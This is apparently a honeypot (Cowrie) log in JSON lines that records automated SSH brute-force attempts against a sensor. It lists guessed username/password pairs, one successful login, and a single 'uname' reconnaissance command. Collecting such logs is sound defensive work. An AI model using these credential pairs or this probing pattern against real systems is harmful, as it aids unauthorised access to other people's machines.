{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:56.922524Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:57.171220Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:57.389110Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:57.392383Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:57.478044Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:57.483515Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44202,"dst_ip":"159.203.135.109","dst_port":22,"session":"3042d3a7f166","protocol":"ssh","message":"New connection: 176.65.132.129:44202 (159.203.135.109:22) [session: 3042d3a7f166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:00.450470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:00.455637Z","src_ip":"176.65.132.129","session":"3042d3a7f166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:00.539490Z","src_ip":"176.65.132.129","session":"3042d3a7f166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:00.914281Z","src_ip":"176.65.132.129","session":"3042d3a7f166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:01.999901Z","src_ip":"176.65.132.129","session":"3042d3a7f166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44218,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b784a51cd4","protocol":"ssh","message":"New connection: 176.65.132.129:44218 (159.203.135.109:22) [session: 95b784a51cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:03.902078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:03.912457Z","src_ip":"176.65.132.129","session":"95b784a51cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:03.994653Z","src_ip":"176.65.132.129","session":"95b784a51cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:04.241775Z","src_ip":"176.65.132.129","session":"95b784a51cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:05.428984Z","src_ip":"176.65.132.129","session":"95b784a51cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41540,"dst_ip":"159.203.135.109","dst_port":22,"session":"f071262e8380","protocol":"ssh","message":"New connection: 176.65.132.129:41540 (159.203.135.109:22) [session: f071262e8380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:07.382693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:07.387224Z","src_ip":"176.65.132.129","session":"f071262e8380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:07.469231Z","src_ip":"176.65.132.129","session":"f071262e8380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:07.717434Z","src_ip":"176.65.132.129","session":"f071262e8380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:08.802518Z","src_ip":"176.65.132.129","session":"f071262e8380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41550,"dst_ip":"159.203.135.109","dst_port":22,"session":"832ddf1d7b03","protocol":"ssh","message":"New connection: 176.65.132.129:41550 (159.203.135.109:22) [session: 832ddf1d7b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:10.845436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:10.884273Z","src_ip":"176.65.132.129","session":"832ddf1d7b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:10.945802Z","src_ip":"176.65.132.129","session":"832ddf1d7b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:11.250402Z","src_ip":"176.65.132.129","session":"832ddf1d7b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f75e3c91fb","protocol":"telnet","message":"New connection: 45.58.127.90:40578 (10.17.0.5:23) [session: b4f75e3c91fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:12.086644Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:12.334807Z","src_ip":"176.65.132.129","session":"832ddf1d7b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41554,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7e011c73ab7","protocol":"ssh","message":"New connection: 176.65.132.129:41554 (159.203.135.109:22) [session: d7e011c73ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:14.336228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:14.341404Z","src_ip":"176.65.132.129","session":"d7e011c73ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:14.423721Z","src_ip":"176.65.132.129","session":"d7e011c73ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:14.670822Z","src_ip":"176.65.132.129","session":"d7e011c73ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:15.756457Z","src_ip":"176.65.132.129","session":"d7e011c73ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":34985,"dst_ip":"10.17.0.5","dst_port":22,"session":"04bf7373e07b","protocol":"ssh","message":"New connection: 193.106.245.20:34985 (10.17.0.5:22) [session: 04bf7373e07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:16.228786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:16.234053Z","src_ip":"193.106.245.20","session":"04bf7373e07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:16.357721Z","src_ip":"193.106.245.20","session":"04bf7373e07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"welcome","message":"login attempt [testuser/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:16.877806Z","src_ip":"193.106.245.20","session":"04bf7373e07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59178,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab9d7c1a722","protocol":"ssh","message":"New connection: 176.65.132.129:59178 (159.203.135.109:22) [session: 1ab9d7c1a722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:17.745075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:17.750161Z","src_ip":"176.65.132.129","session":"1ab9d7c1a722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:17.832169Z","src_ip":"176.65.132.129","session":"1ab9d7c1a722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:18.001061Z","src_ip":"193.106.245.20","session":"04bf7373e07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:18.077325Z","src_ip":"176.65.132.129","session":"1ab9d7c1a722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:19.162361Z","src_ip":"176.65.132.129","session":"1ab9d7c1a722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.80682373046875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:19.272135Z","src_ip":"45.58.127.90","session":"c8abd2ed3d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59194,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a81579c9f1","protocol":"ssh","message":"New connection: 176.65.132.129:59194 (159.203.135.109:22) [session: 32a81579c9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:21.039715Z"}
